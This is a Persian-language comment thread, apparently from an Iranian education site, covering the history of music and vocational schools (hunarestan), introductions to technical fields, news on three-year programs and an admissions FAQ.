    در سال ۱۳۱۷ که اداره موسیقی کشور به سرپرستی غلامحسین مین باشیان تأسیس شد، امور هنرستان موسیقی نیز به این اداره واگذار شد و به گسترش و پیشرفت هنرستان توجه بیشتری شد. برای چند رشته موسیقی (نوازندگی ویولن، ویولن سل، کلارینت، ترمبون، آواز، کمپوزیسیون، مدیریت ارکستر) دوره آموزش عالی نیز ایجاد شد که به تناسب رشته بین دو تا چهار سال بود. نام «هنرستان موسیقی» نیز به «هنرستان عالی موسیقی» تبدیل شد. یک شعبه تخصصی برای آموزش موزیک نظام نیز به هنرستان عالی موسیقی اضافه شد.

    در شهریور ۱۳۲۰ نیروهای متفقین وارد ایران شدند و وضعیت اداره‌های ایران تغییراتی کرد. در ۱۷ مهر ۱۳۲۰ از طرف وزیر فرهنگ وقت، به خدمت غلامحسین مین‌باشیان و صادق هدایت، عبدالحسین نوشین و نیما یوشیج که از سال ۱۳۱۷ از طرف مین باشیان در اداره موسیقی کشور استخدام شده بودند خاتمه داده شد. سپس علینقی وزیری به ریاست اداره موسیقی کشور و ریاست هنرستان عالی موسیقی [مجدداً] انتخاب شد. در زمان مدیریت وزیری، استادان سازهای غربی که از چکسلواکی دعوت شده بودند اخراج شدند و آموزش تار و موسیقی ایرانی دوباره در برنامه هنرستان گنجانده شد و چند رشته تخصصی موسیقی غربی تعطیل شد. این امر اعتراض تعدادی از هنرجویان مدرسه عالی را برانگیخت به طوری که خبر اعتراض و اعتصاب آنها در مطبوعات ایران منعکس شد ولی شورای عالی فرهنگ برنامه جدید وزیری را تأیید کرد و در ماده هشتم و بیستم اساسنامه نوین هنرستان که در مهر ۱۳۲۱ تصویب شد هنرجویان ملزم به آموختن هر دو سبک موسیقی ایرانی و اروپائی شده و آشنائی با تار برای اطلاع از کیفیت موسیقی ایرانی یکی شرایط دریافت گواهینامه متوسطه شد.

  9. با سلام خدمت دوستان هنرستانی عزیزم
    میخوام ی متن خوندن جالب براون تعریف کنم
    آیا میدانید…؟
    چی شد…؟
    چطوری…؟
    هنرستان در ایران تاسیس شد…؟
    تاریخچه آموزش فنی و حرفه ای در ایران
    آموزش فنی و حرفه ای تاریخی به قدمت تاریخ تمدن و فرهنگ و جوامع دارد و با شروع تمدن جدید در اروپا و با ورود کالا به ایران سرچشمه پیدایش آموزش فنی و حرفه ای در پایان عصر تیموری می باشد. پایه گذاری و شروع ایجاد اولین کارگاه های فنی حرفه ای در عصر صفویه در سال ۱۵۹۷ میلادی مطابق با ۹۷۶ هجری شمسی با رود اسلحه گرم از اروپا به ایران و ورود مستشاران اروپایی و عصر سوداگرای بین المللی به شیوه اروپایی بوده است و آغاز تعلیم و تربیت فنی و حرفه ای از سال ۱۸۰۰ میلادی تا ۱۹۰۶ میلادی به شیوه مدرسه دارالفنون و مدارس خارجی در بعضی از شهرهای ایران بوده ، در مدرسه دارالفنون که به همت امیر کبیر ساخته شده در آن دروس علمی،فنی،نظامی و پزشکی تدریس می شد.
    آموزش فنی و حرفه ای پس از طی نشیب و فراز های فراوان بعد از پیروزی انقلاب اسلامی همه ساله بر تعداد هنرستانها و تعداد رشته ها افزوده است.

  10. برق هنرستان:
    ✅ پروسه مونتاژ تابلو برق
    در این ویدئو پروسه ی مونتاژ یک تابلو برق را به صورت سریع مشاهده می کنید. مهم ترین نکته در این ویدئو، قرار دادن صفحه ی داخلی تابلو روی یک پایه ی ویژه می باشد. این پایه با ارتفاع و زاویه ی قابل تنظیم بهترین شرایط را برای نصب و سیم بندی تجهیزات ایجاد می کند. سیم های ارتباط بین تجهیزات داخلی با درب تابلو به صورت تقریبی برش زده و با شماره و لیبل مشخص می شوند. صفحه ی داخلی پس از سیم بندی کامل داخل باکس قرار داده و سیم ها به تجهیزات روی درب متصل می شوند.

  11. سلام
    دوستانی که در دبیرستان فنی و حرفه ای مشغول به تحصیل هستن
    این مطالب بسیارا براشون مفید خواهد بود
    تا با نحوی کار در کارگاه های هنرستانی آشنا شوند.

  12. برق هنرستان:
    ✅نیروگاه برق آبی
    یکی از پاک ترین روش های تولید الکتریسیته استفاده از نیروی آب ذخیره شده در پشت سد می باشد. برای این کار مسیر رودخانه ها بررسی و بهترین قسمت برای ساخت سد مشخص می شود. ارتباط بین دو طرف سد توسط کانال و دریچه هایی برقرار می شود که در میان آن ها توربین هایی قرار دارد. پس از جمع شدن آب و با برنامه های منظم، دریچه های باز شده و آب در مسیر خود توربین ها را می چرخاند. چرخش توربین نیز باعث چرخش ژنراتور و در نتیجه تولید برق خواهد شد.

  13. برق هنرستان:
    ?روش ساخت تابلوهای کوچکتر?
    برای اتصال سریع تجهیزات در تابلو برق از باسبارهای پیش ساخته و واحدهای خروجی استفاده می کنند. باسبار ها در مدل و آمپراژ مختلفی ساخته می شوند. پس از محاسبه ی میزان جریان و تعداد هادی ها، باسبار تهیه شده و در طول تابلو برق نصب می شود. با این کار می توان تجهیزات زیادی مانند انواع پایه فیوز، بریکر، کنتاکتور، ترمینال های ورودی و خروجی را به سرعت نصب کرد. گرفتن انشعاب از باسبار بدون ابزار بوده و کافی است تجهیز را روی آن قرار داده و کمی فشار دهیم. با این کار زمان مونتاژ و ابعاد تابلو برق کاهش پیدا می کند. در این ویدئو نمونه ی ABB این سیستم را مشاهده می کنید.

  14. برق هنرستان:
    ✳️خط تولید اسکلت تابلو برق
    تابلو برق به معنی یک باکس یا جعبه است که تعدادی لوازم الکتریکی در آن قرار دارند. این باکس می تواند از مواد مختلف، در ابعاد مختلف ساخته شود. برای تهیه باکس دو راه حل وجود دارد. ۱٫ طراحی و ساخت آن توسط فلزکاران، ۲٫ تهیه ی محصولات آماده.
    برای ساخت ابتدا باید ابعاد مورد نیاز را مشخص کنید. این کار توسط نرم افزار و یا به صورت تجربی و دستی قابل انجام است. در مرحله ی بعد باید توسط لوازم فلزی کاری، باکس آماده و در نهایت رنگ آمیزی شود.
    از طرفی محصولات آماده در ابعاد و جنس های مشخصی تولید می شوند. شما می توانید انواع تابلوهای پلی کربنات، پلاستیکی و فلزی را در بازار تهیه کنید. ریتال یکی از بزرگترین شرکت های تولید کننده ی باکس های آماده و یراق آلات مونتاژ در جهان می باشد. قابل ذکر است که در کشور ما نیز این تجهیزات تولید می شوند که از نظر قیمت قابل رقابت با نمونه های خارجی هستند اما از نظر کیفیت هنوز جای کار بیشتری دارند.

  15. معرفی رشته معماری برای مهندس های عزیز کشور

    هنرستان
    مقدمه

    رشته نقشه کشی معماری یکی از رشته های مجموعه ی گروه خدمات در شاخه فنی و حرفه ای است که هر دانش آموز پس از طی کردن دوره متوسطه ی اول می تواند طی یک دوره دوساله و در یکی از هنرستان های کاردانش یا فنی و حرفه ای دیپلم این رشته را اخذ نماید. لازم به ذکر است که کنکور هنرستان براساس دروس فنی و حرفه ای برگزار می شود و دانش آموزان کارو دانش می بایست دروس اختصاصی را از کتاب های فنی و حرفه ای مطالعه کنند.

    نحوه ی ادامه تحصیل دانش آموزان رشته معماری

    دانش آموزان هنرستانی رشته کامپیوتر در مقطع کاردانی پیوسته (فوق دیپلم) می توانند در یکی از دانشگاه های دولتی (آموزشکده های فنی و حرفه ای و موسسات غیرانتفاعی)، دانشگاههای آزاد(سما) و یا در مراکز علمی کاربردی در گرایش های نرم افزار، سخت افزار و فناوری اطلاعات (IT) ادامه تحصیل دهند. دانش آموزان هنرستانی می توانند پس از گذراندن دوره کاردانی و کارشناسی در دوره ارشد و دکتری در دانشگاه های معتبری همچون دانشگاه تهران، شریف و امیرکبیر ادامه تحصیل دهد.و از این حیث هیچگونه محدودیتی برای هنرستانی ها وحود ندارد.

    دانش آموزان هنرستانی رشته معماری می توانند در مقطع کاردانی پیوسته (فوق دیپلم) در یکی از دانشگاه های دولتی (آموزشکده های فنی و حرفه ای و موسسات غیرانتفاعی ) ، دانشگاه های آزاد و سما و یا در مراکز علمی کاربردی در گرایش های معماری و طراحی داخلی ادامه تحصیل دهند و پس از گذراندن دوره های کاردانی و کارشناسی در مقاطع بالاتر (ارشد و دکتری) در دانشگاه های معتبر (تهران ، شهید بهشتی و …) ادامه تحصیل دهند و در این مورد هیچ گونه محدودیتی برای هنرستانی ها وجود ندارد.

    دروس تخصصی رشته معماری

    در مقایسه دروس تخصصی سال دوم و سوم این رشته می توان به اهمیت دروس سال سوم بیشتر پی برد. در حالی که در سال دوم به دانش آموزان فقط چهار درس ترسیم فنی ، شناخت مواد ، مبانی هنرهای تجسمی و طراحی ارائه می شود ، در سال سوم حجم مطالب بیشتر شده و به نه درس نقشه کشی ، مبانی طراحی معماری ، کاربرد رایانه در نقشه کشی معماری ، نقشه برداری ، کارگاه حجم و ماکت ، متره و برآورد ، عناصر و جزئیات ، آشنایی با بناهای تاریخی و تاسیسات تقسیم می شود که امتحان چهار درس آخر در حوزه ی امتحانات نهایی برگزار می شود . از این چهار درس نمره قبولی دو درس عناصر و جزئیات و متره و برآورد دوازده و دو درس بناهای تاریخی و تاسیسات ده می باشد.

    بازار کار فارغ التحصیلان رشته معماری

    دانش آموز رشته ی معماری بعد از اخذ دیپلم و با یادگیری نرم افزارهای مربوطه می توانند در شرکت های ساختمانی کار نقشه کشی انجام دهد یا با اخذ فوق دیپلم و کسب تجربه به عنوان سرپرست کارگاه مشغول به کار شوند . هم چنین با اخذ مدرک کارشناسی و کارشناسی ارشد علاوه بر فعالیت های قبلی به عنوان ناظر ساختمانی و طراح معماری و رد مقاطع بالاتر به کارهای آموزشی و پژوهشی در قالب استاد یا هیئت علمی دانشگاه بپردازند.

  16. معرفی رشته کامپیوتر برای دوستان هنرستانی عزیزم
    مقدمه

    رشته کامپیوتر یکی از رشته های زیر مجموعه گروه خدمات در شاخه ی فنی و حرفه ای است که هر دانش آموز پس از طی کردن سال تحصیلی اول دبیرستان می تواند در طی یک دوره دوساله ودر یکی از هنرستان های کاردانش یا فنی حرفه ای دیپلم کامپیوتر بگیرد .لازم بذکر است که کنکور هنرستان براساس دروس فنی و حرفه ای برگزار می شود و دانش آموزان کاردانش می بایست دروس اختصاصی را از کتاب های فنی و حرفه ای مطالعه کنند.

    نحوه ی ادامه تحصیل دانش آموزان رشته کامپیوتر

    دانش آموزان هنرستانی رشته کامپیوتر در مقطع کاردانی پیوسته (فوق دیپلم) می توانند در یکی از دانشگاه های دولتی (آموزشکده های فنی و حرفه ای و موسسات غیرانتفاعی)، دانشگاههای آزاد(سما) و یا در مراکز علمی کاربردی در گرایش های نرم افزار، سخت افزار و فناوری اطلاعات (IT) ادامه تحصیل دهند. دانش آموزان هنرستانی می توانند پس از گذراندن دوره کاردانی و کارشناسی در دوره ارشد و دکتری در دانشگاه های معتبری همچون دانشگاه تهران، شریف و امیرکبیر ادامه تحصیل دهد.و از این حیث هیچگونه محدودیتی برای هنرستانی ها وحود ندارد.

    رشته ی کامپیوتر و اهمیت درس ریاضی

    رشته ی کامپیوتر برپایه ی علم ریاضیات بنا شده است برای مثال یک دانش آموز هنرستانی رشته کامپیوتر پس از ورود به دانشگاه و در مقطع کاردانی دروس ریاضی پیش ، ریاضی ۱ ، ریاضی ۲ و آمار و احتمالات و در مقطع کارشناسی ناپیوستهدروس معادلات دیفرانسیل، ریاضیات گسسته ، آمارو احتمالات مهندسی و ریاضی مهندسی را باید بگذراند بنابراین دانش آموز هنرستانی باید تلاش خود را علاوه بر دروس اختصاصی در درس ریاضی هم دوچندان کند تا در ادامه تحصیل به مشکلی برنخورد.

    بازار کار تحصیلکرده های این رشته

    ازلحاظ بازار کارهم یک هنرستانی در رشته کامپیوتر می تواند پس از اخذدیپلم یا گذراندن دوره ی کاردانی به عنوان تکنسین فنی و یا پس از دوره ی کارشناسی و کارشناسی ارشد به عنوان مهندس طراحبانک های اطلاعاتی ، شبکه های کامپیوتری ، سایت های اینترنتی و برنلمه نویس و یا مدیر پروژه در مراکز دولتی یا خصوصی مشغول به کار شوند.همچنین یک دانش آموز هنرستانی در صورت موفقیت برای اخذ مدرک دکتری تخصصی کامپیوتر می تواند به کارهای آموزشی و پژوهشی در قالب استاد یا هیئت علمی دانشگاه بپردازد.

  17. ?هنرستانی‌ها بدون کنکور ادامه تحصیل بدهند

    ⭕️مدیر کل فنی و حرفه ای آموزش و پرورش گفت: با موافقت سازمان سنجش کشور هنرجویان هنرستان ها از امسال می توانند در ۱۶ رشته بدون کنکور در آموزشگاه‌های فنی و حرفه ای ادامه تحصیل دهند.
    حسینی در مصاحبه با خبرگزاری صدا و سیما افزود: این رشته ها شامل رشته های چاپ‌، نساجی، سرامیک، معدن، الکترونیک و مخابرات دریایی، فرش بافی، قلم زنی، امور دامی و گاوداری صنعتی، تکثیر و پرورش آبزیان و زنبورعسل و گیاهان زینتی و ماشین های کشاورزی است که هنرجویان می توانند تا مقطع فوق دیپلم ادامه تحصیل دهند.
    وی گفت: با توجه به اجرای نظام جدید‌ آموزشی در دوره دوم متوسطه از سال آینده، دوره تحصیل در هنرستان ها از دو سال به سه سال می رسد.

    ⭕️حسینی از تشکیل کلاس‌های فنی و حرفه ای در ۲ هزار و ۴۰۰ دبیرستان خبر داد و افزود: ‌در مناطق روستایی امکان تشکیل هنرستان های مجزا وجود ندارد و دانش آموزان می توانند در چند رشته فنی وحرفه ای در دبیرستان‌ها نیز ادامه تحصیل دهند.

    ⭕️مدیر کل فنی و حرفه ای آموزش و پرورش گفت: طبق برنامه پنجم توسعه شاخص دانش آموزان هنرستانی تا پایان این برنامه باید به ۴۸ درصد برسد ولی هم اکنون تنها ۴۰ درصد دانش آموزان دوره دوم متوسطه در هنرستان تحصیل می کنند.
    ⭕️حسینی افزود:‌ هم اکنون ۳۰۰ هزار دانش آموز دوره دوم متوسطه در ۲۹۰۰ هنرستان فنی و حرفه ای در ۴۳ رشته مشغول به تحصیل هستند.

  18. ? ۲۳ رشته تحصیلی جدید در راه هنرستان ها
    ⭕️مدیرکل دفتر فنی و حرفه ای آموزش و پرورش از ایجاد ۲۳ رشته جدید تحصیلی در رشته های کار و دانش و فنی حرفه ای از سال تحصیلی جدید خبر داد.

    ⭕️محمد شریف زاده با بیان این مطلب گفت: برنامه ریزی برای افزایش رشته فنی و حرفه ای و کار دانش بر اساس نیاز بازار کار و آینده شغلی دانش آموزان است.
    وی افزود: هم اکنون ۳۰۰ رشته تحصیلی در این رشته ها وجود دارد که همه ساله محتوای کتاب های آنها براساس نیاز بازار کار مورد بازنگری قرار می گیرد و پس از مطالعات کارشناسان ایجاد ۲۳ رشته تحصیلی در سال تحصیلی جدید مصوب شده است.

    ⭕️شریف زاده درباره این رشته توضیح داد: رویکرد ما بستر سازی برای رونق اقتصادی در حوزه صنعت است. به همین علت از میان این ۲۳ رشته ۲۰ رشته در مجموعه صنعت تعریف شده است.
    به گفته وی، این رشته ها شامل جوشکار و سازه های فولادی، پلیمر و گرایش های رشته چوب همچون مبل سازی است.

    ⭕️مدیرکل دفتر فنی و حرفه ای آموزش و پرورش توضیح داد در سال تحصیلی گذشته بیش از ۵۰ کتاب جدید التالیف در رشته های کار و دانش و فنی حرفه ای وجود داشت که امسال نیز با توجه به ایجاد ۲۳ رشته جدید تعداد عناوین کتاب های درسی هنرستان ها افزایش پیدا خواهد کرد.
    ⭕️وی درباره زمان توزیع کتاب ها گفت: کتابها امسال در دو مرحله توزیع می شود که در مرحله نخست بر اساس نیاز استانها در مردادماه ارسال می شود و دیگر کتاب ها با مشخص شدن کلاس ها و تعداد دانش آموزان در رشته های مختلف هنرستانی تا قبل از شروع آغاز سال تحصیلی ارسال خواهد شد.

    ⭕️وی با بیان این که در مجموع ۶۰۰ عنوان کتاب درسی برای هنرستان ها تعریف شده است درباره عدم تمایل خانواده ها به انتخاب رشته های هنرستانی توسط دانش آموزان اظهار کرد: در هنرستانها بیش از ۳۰۰ رشته مختلف وجود دارد که دانش آموزان با کمک مشاور و برگه هدایت تحصیلی می تواند رشته خود را انتخاب کرده و آینده شغلی خود را تضمین کنند.
    ⭕️وی ادامه داد: در هنرستان ها نیز دانش آموزان رتبه بندی شده و اینگونه نیست. دانش آموز در هر رشته ای که بخواهد می تواند ادامه تحصیل بدهد البته برنامه ریزیهای صورت گرفته که در برخی رشته ها دانش آموز حتی اگر نمره لازم را کسب نکند می تواند با گذراندن مراحل کیفیت بخشی رشته مورد نظر خود را انتخاب و تحصیل کند.

    ⭕️شریف زاده با اشاره به اینکه سازمان سنجش اعلام کرد در کنکور امسال ۴۸ درصد دانش آموزان فارغ التحصیل رشته تجربی بوده اند گفت: این آمار حاکی از آن است که بسیاری از دانش آموزان می توانند با رفتن به رشته های دیگر همچون رشته های هنرستانی هم آینده شغلی شان را تضمین کنندو هم اینکه در رشته دلخواهشان بدون اینکه پشت کنکور بمانند ادامه تحصیل بدهند.
    ⭕️وی تصریح کرد: در کنکور امسال ۴۰درصد پسران شرکت کردند یعنی ۱۰ درصد پسران فارغ التحصیلان پسران رشته های نظری یا تمایلی به شرکت در کنکور را نداشته و یا مدرک تحصیلی برایشان اهمیت ندارد بنابر این ما توصیه می کنیم به والدین که مانع از انتخاب دانش آموزانشان برای ادامه تحصیل در رشته های فنی و حرفه ای نشوند چرا که آینده شغلی شان و هم آینده تحصیلی شان تضمین شده است.

  19. ?? هنرستان ها سه ساله می شوند!

    ⭕️معاون آموزش متوسطه وزارت آموزش وپرورش با بیان اینکه هنرستان ها از سال آینده سه ساله می شوند، گفت: با افزایش ساعات مهارتی کیفیت هنرستان ها افزایش می یابد.

    ⭕️علی زرافشان در گفت‌وگو با مهر، درباره سه ساله شدن هنرستان ها گفت: سال تحصیلی آینده ورودی به پایه دهم در شاخه‌ها و رشته‌های نظری، فنی و حرفه‌ای و کاردانش خواهد بود.

    ⭕️وی در پاسخ به این پرسش که انتقاداتی درباره افت کیفیت با سه ساله شدن هنرستان و عمومی کردن دروس وجود دارد، تصریح کرد: سه ساله شدن هنرستان ها موجب ارتقای کیفیت می شود چرا که سال اول هم عمومی و هم مهارتی است.

    ⭕️معاون وزیر آموزش و پرورش ادامه داد: اکنون دانش آموزان در هنرستان ها ۴۳ واحد عمومی و ۵۳ واحد تخصصی را دارند، سال آینده نیز این تناسب برقراراست اما ساعات مهارتی افزایش می یابد به همین جهت ارتقای کیفیت انجام می گیرد.

    ?وی افزود: با سه ساله شدن هنرستان ها یک پایه اضافه خواهد شد، اکنون در هر پایه ۴۰۰ هزار دانش آموز تحصیل می کنند اگر یک پایه اضافه شود تعداد دانش آموزان تا سه ساله آینده با تکمیل سه پایه، یک میلیون و ۲۰۰ هزار نفر می شوند.

    ⭕️زرافشان خاطر نشان کرد: این در حالی است که در شاخه نظری با حذف پیش دانشگاهی و حذف پایه اول در دوره دوم متوسطه با یک میلیون کاهش دانش آموز روبرو می‌شویم.

    ?وی با بیان اینکه باید ظرفیت سازی برای فضا، تجهیزات و نیروی انسانی در شاخه فنی و حرفه‌ای مورد توجه قرار گیرد بیان کرد: ساخت هنرستان‌های جدید، تکمیل هنرستان‌های نیمه تمام هم در سال های پیش رو در اولویت است.

  20. ?ارتقای کیفیت هنرستان ها با افزایش ساعات مهارتی دروس

    ⭕️معاون آموزش متوسطه آموزش و پرورش از ۱۲ساله شدن دوره تحصیل و افزایش ساعات مهارتی دانش آموزان فنی و حرفه ای و کاردانش، جهت ارتقای کیفیت خبر داد.

    ⭕️زرافشان معاون آموزش متوسطه وزارت آموزش و پرورش در گفتگو با خبرنگار حوزه آموزش و پرورش گروه علمی پزشکی باشگاه خبرنگاران جوان گفت : ازآنجایی که همه دروس شاخه فنی و حرفه ای و کاردانش باید منجر به یک مهارت شود، حتما باید تدریس دروس با کارهای عملی همراه باشد، به همین جهت است که به طور کلی آموزش در این مدارس مبتنی بر آموزش های مهارتی و کارگاهی است. البته با توجه به تنوع رشته های شاخه فنی و حرفه ای، متناسب با هر رشته کارهای عملی و کارگاهی تعریف می شود، مثلا در زمینه کشاورزی کارهای عملی معمولا در مزرعه صورت می گیرد اما در زمینه رشته خدماتی مثل حسابداری کارهای عملی در کارگاه های مدرسه امکان پذیراست.

    ⭕️وی ادامه داد : در چند سال اخیر در تالیف کتاب های درسی سعی شده دروس همراه با فعالیتهای عملی باشد، در هین راستا در آموزش معلمان برای تدریس این کتاب ها تاکید بر وجه عملی آموزش ها است.

    ⭕️معاون آموزش متوسطه وزارت آموزش و پرورش بیان کرد: با توجه به اینکه ساختار ۳-۳-۶ اکنون وارد دوره دوم متوسطه شده است و امسال پایه دهم خالی است، سال بعد پایه یازدهم و سال بعدش پایه دوازدهم خالی می شود ، وقتی که سه پایه دوره دوم متوسطه تکمیل شود، دوره پیش دانشگاهی به طور طبیعی حذف خواهد شد نه اینکه پیش دانشگاهی به فنی و حرفه ای اضافه شود. درواقع در ساختار جدید کل دوره های تحصیلی ۱۲ ساله می شوند در حالیکه در ساختار فعلی دانش آموزان در پایه یازدهم دیپلم می گیرند و کسانی که می خواهند به دانشگاه راه پیدا کنند، باید پایه ۱۲ یا همان پیش دانشگاهی را طی کنند اما بعد ازاینکه ساختار جدید مستقر شد چه فنی و حرفه ای چه کاردانش و چه نظری همه دوره تحصیلشان ۱۲ ساله خواهد شد و پیش دانشگاهی حذف می شود و امکان حضور دانش آموزان فنی و حرفه ای و کاردانش مستقیم به رشته های کارشناسی دانشگاه ها میسر میشود.

    ⭕️وی با بیان اینکه هنرستان ها سه ساله می شوند در پایان خاطر نشان کرد: با افزایش ساعات مهارتی کیفیت هنرستان ها افزایش می یابد.اکنون دانش آموزان در هنرستان ها ۴۳ واحد عمومی و ۵۳ واحد تخصصی را دارند، سال آینده نیز این تناسب برقرار است اما ساعات مهارتی افزایش می یابد به همین جهت ارتقای کیفیت انجام می گیرد.

  21. امیدوارم مطالب که ارسال کردم مورد قبول شما باشه استاد بزرگوار
    استاد که بمب انرژی هستی
    استادی که اینقد انرژی میده
    که خواهر من امسال تو کنکور تجربی رتبه ۹۰۰ شد
    عالی هستید استاد

    1. دوست عزیز
      از مطالب بسیار آموزنده تون سپاسگذارم
      حتما بازم از این اطلاعات بزارین که سایرین هم استفاده کنند.

  22. ز نظر هزینه های مالی رشته های هنرستان چگونه هستند و چه تفاوتی با هم دارند؟

    شاخه فنی و حرفه ای با توجه به کارگاهی بودن و عملی بودن دروس به نسبت رشته های نظری نیاز به ابزار و تجهیزات دارند.
    قطعا با توجه به نوع دروس هر رشته ابزار مربوط به آن متفاوت می باشند در حالت کلی هزینه ی یک هنرجو قابل توجه نیست و در رشته های مختلف تقریبا یکسان است.
    در ضمن این نکته توجه داشت برای یک رشته یک هزینه ثابت و یک هزینه جاری باید لجاظ شود هزینه ثابت یک بار برای تهیه ابزار و وسایل انجام می شود و تا پایان دوره تحصیل کفایت می کند. ولی هزینه های جاری که مقدار قابل توجهی هم نیست به مرور ممکن است پیش بیاید.

  23. سوال: بازارکار کدام رشته بهتر است؟

    بازارکار رشته های مختلف را شرایط کلی یک جامعه از نظر اقتصادی بودن و صنعتی بودن و علمی بودن تعیین خواهد کرد.
    بطور قاطع نمیتوان گفت کدام رشته بازارکار بهتری دارد ولی چیزی که با اطمینان کامل می توان گفت این است که فارغ از رشته تحصیلی افراد با تجربه و متخصص و علاقه مند در هر رشته ای باشند بازار مناسب خود را خواهند یافت.
    چه بسا در تمامی رشته های تحصیلی بازار کارخودش به دنبال افراد متخصص خواهد رفت. پس هر رشته ای را انتخاب می کنید با علاقه و تمرکز فراوان در آن رشته تخصص پیدا کنید.

  24. نحوه ورود به هنرستان در نظام ۳ – ۳ – ۶ چگونه است؟

    در نظام ۳ – ۳ – ۶ دوره هنرستان به عنوان دوره متوسظه دوم است که شامل پایه های دهم و یازدهم و دوازدهم می باشد.
    در پایه دهم سه مسیر اصلی دارید:
    ورود به دبیرستان ، ورود به هنرستان فنی ، حرفه ای و هنرستان کارودانش
    ورود به دبیرستان: ( شاخه ی نظری ) با انتخاب رشته های نظری وارد یکی از رشته های ۱- ریاضی و فیزیک ۲- علوم تجربی ۳- علوم انسانی خواهید شد.
    ورود به هنرستان: با انتخاب هنرستان شما زمینه ی تحصیل را انتخاب می کنید که هر زمینه دارای رشته های مربوط به خودش است.
    بطور مثال زمینه صنعت ( حاوی رشته های: برق ، مکانیک و … ) زمینه خدمات ( حاوی رشته های: حسابداری ، کامپیوتر ، بورس ، هتلداری و آشپزی و … ) زمینه هنر ( حاوی رشته های: گرافیک و معماری و … ) زمینه کشاورزی خواهد بود.

  25. شرایط ورورد به شاخه فنی و حرفه ای را بیان کنید؟ آیا شرط معدل دارد؟

    اصولا برای ورود به رشته های فنی و حرفه ای از نظر قانونی تنها شرط این است که باید در برگه هدایت تحصیلی اولویت فنی و حرفه ای را آورده باشید و شرط معدل ملاک نیست.
    البته بدیهی است که در هر رشته ای یک سری از دروس اهمیت بیشتری دارند و بیشتر به آنها پرداخته می شود. قاعدتا کسانی در آن رشته موفق تر خواهند بود که دروس اصلی آنرا قوی تر باشند.
    شما می توانید در قسمت معرفی رشته های هنرستان، درس های هر رشته را بررسی کنید تا دروس پر اهمیت هر رشته برایتان مشخص شود و بتوانید با توجه به علاقه و توانایی های خودتان نسبت به انتخاب رشته اقدام نمایید.

  26. شرایط شرکت در کنکور هنر چیست؟

    برای کسانی که دیپلم نظری یا فنی و حرفه ای دارند می توانند با گذراندن چند درس در تابستان در امتحانات تغییر رشته هنر شرکت کرده و وارد پیش دانشگاهی هنر شوند و بعد از گذراندن دوره پیش دانشگاهی هنر مستقیما در کنکور رشته هنر (مقطع لیسانس) همراه سایر افراد شرکت نمایند.

    لازم به ذکر است برای برخی از رشته های فنی و حرفه ای مثل گرافیک و یا نقشه کشی معماری به دلیل گذراندن درس های رشته هنر امکان تغییر رشته بسیار راحت تر خواهد بود.

  27. آیا امکان شرکت دیپلم های فنی و حرفه ای در کنکور سراسری دبیرستان وجود دارد؟ آیا دیپلم های یک رشته هنرستان فنی و حرفه ای می توانند در کنکور سایر رشته های فنی شرکت کنند؟

    برای کسانی که دیپلم فنی و حرفه ای در هر رشته ای دریافت کرده باشند امکان شرکت در کنکور سایر رشته های هنرستان وجود ندارد و باید در رشته خودشان تا مقطع کاردانی تحصیل کنند اما بعد از گرفتن مدرک کاردانی برای ادامه تحصیل می توانند در سایر رشته ها شرکت نمایند.

    گفتنی است دیپلم های فنی و حرفه ای نمی توانند در کنکور سراسری دبیرستان شرکت نمایند اما بعد از گذراندن دوره کاردانی این امکان برایشان فراهم می شود. در واقع گذراندن دوره کاردانی به منزله دوره پیش دانشگاهی می باشد و دانش آموزان می توانند بعد از دوره کاردانی در کنکور سراسری رشته ریاضی شرکت کرده و پذیرفته شوند.

  28. برای کسانی که بزرگسال هستند و یا مدتی ترک تحصیل داشته اند شرایط ادامه تحصیل چگونه است؟
    پاسخ:
    برای کسانی که شرایط سنی ورود به دوره های روزانه را ندارند می بایست در مدارس بزرگسالان تحصیل نمایند.
    لازم به ذکر است برای این افراد امکان تحصیل در هنرستان های فنی و حرفه ای وجود ندارد و فقط باید در شاخه کاردانش ادامه دهند.
    بدین صورت که باید در هنرستان های بزرگسالان کاردانش ابتدا واحد هایی که احتمالا از دوره دبیرستان گذرانده اید را تطبیق داده و سپس هر رشته ای که مایل بودید انتخاب نموده و انشاءااله موفق به اخذ دیپلم در آن رشته شوید.

  29. شرایط ورود به دانشگاه برای دانش آموزان فنی و حرفه ای چگونه است؟ از این نظر چه تفاوتی با رشته ریاضی دارد؟

    کسانی که دیپلم فنی و حرفه ای می گیرند بدلیل اینکه دوره پیش دانشگاهی را نگذرانده اند نمی توانند مستقیما برای دوره کارشناسی (لیسانس) در دانشگاه ها اقدام نمایند بلکه باید ابتدا دوره کاردانی (فوق دیپلم) را در دانشگاههای دولتی یا آزاد بگذرانند و سپس برای دوره کارشناسی اقدام نمایند.
    گفتنی است کسانی که فوق دیپلم گرفته اند هیچ تفاوتی نمی کند که هنرستانی بوده اند یا رشته ریاضی و برای دوره لیسانس یک مسیر یکسان خواهند داشت. به عبارت دیگر رسیدن به مهندسی و مدارک بالاتر در هر شته ای از هر دو مسیر ریاضی و یا هنرستان امکان پذیر است و هر دانش آموز باید بر اساس توانایی ها و شرایط خودش مسیر مناسب خود را انتخاب نماید.
    قابل توجه اینکه ممکن است برخی از دانشگاههای بویژه دولتی دوره کاردانی را اجرا نکنند.
    برای ورود به دانشگاههای دولتی لازم است دانش آموزان در آزمون کنکور مربوط به خودشان شرکت نمایند ولی برای دانشگاهها دولتی و جامع علمی و کاربردی نیازی به کنکور نیست و بر اساس معدل گزینش انجام می شود.

  30. از نظر درسی رشته های هنرستان فنی و حرفه ای چه تفاوتی با هم دارند؟ کدام رشته راحت تر است؟

    در هر رشته ای یک سری از دروس اهمیت بیشتری دارند و بیشتر به آنها پرداخته می شود.
    قاعدتا کسانی در آن رشته موفق تر خواهند بود که دروس اصلی آنرا قوی تر باشند. چراکه برای ورود به دانشگاه نیز اولویت اصلی با دروس تخصصی هر رشته است که ضریب بالایی دارند.
    شما می توانید در قسمت معرفی رشته های هنرستان، درس های هر رشته را بررسی کنید تا دروس پر اهمیت هر رشته برایتان مشخص شود و بتوانید با توجه به علاقه و توانایی های خودتان نسبت به انتخاب رشته اقدام نمایید.

    در حالت کلی با توجه به دروس هر رشته دانش آموز می تواند تشخیص دهید که توانایی اش برای آن رشته چگونه است.

  31. شرایط گرفتن دیپلم دوم چگونه است؟

    برای گرفتن دیپلم دوم روند کار به این صورت است که شما واحدهای گذرانده شده خود را در اداره آموزش و پرورش محل خودتان برای ورود به شاخه کاردانش تطبیق می دهید و سپس واحدهای تخصصی رشته مورد نظر خود را در هنرستان های بزرگسالان کاردانش می گذرانید.
    توجه نمایید که بسیاری از واحدهای شما برای شاخه کاردانش مازاد خواهد بود.

  32. آیا بعد از سال سوم دبیرستان امکان تغییر رشته به هنرستان فنی و حرفه ای وجود دارد؟

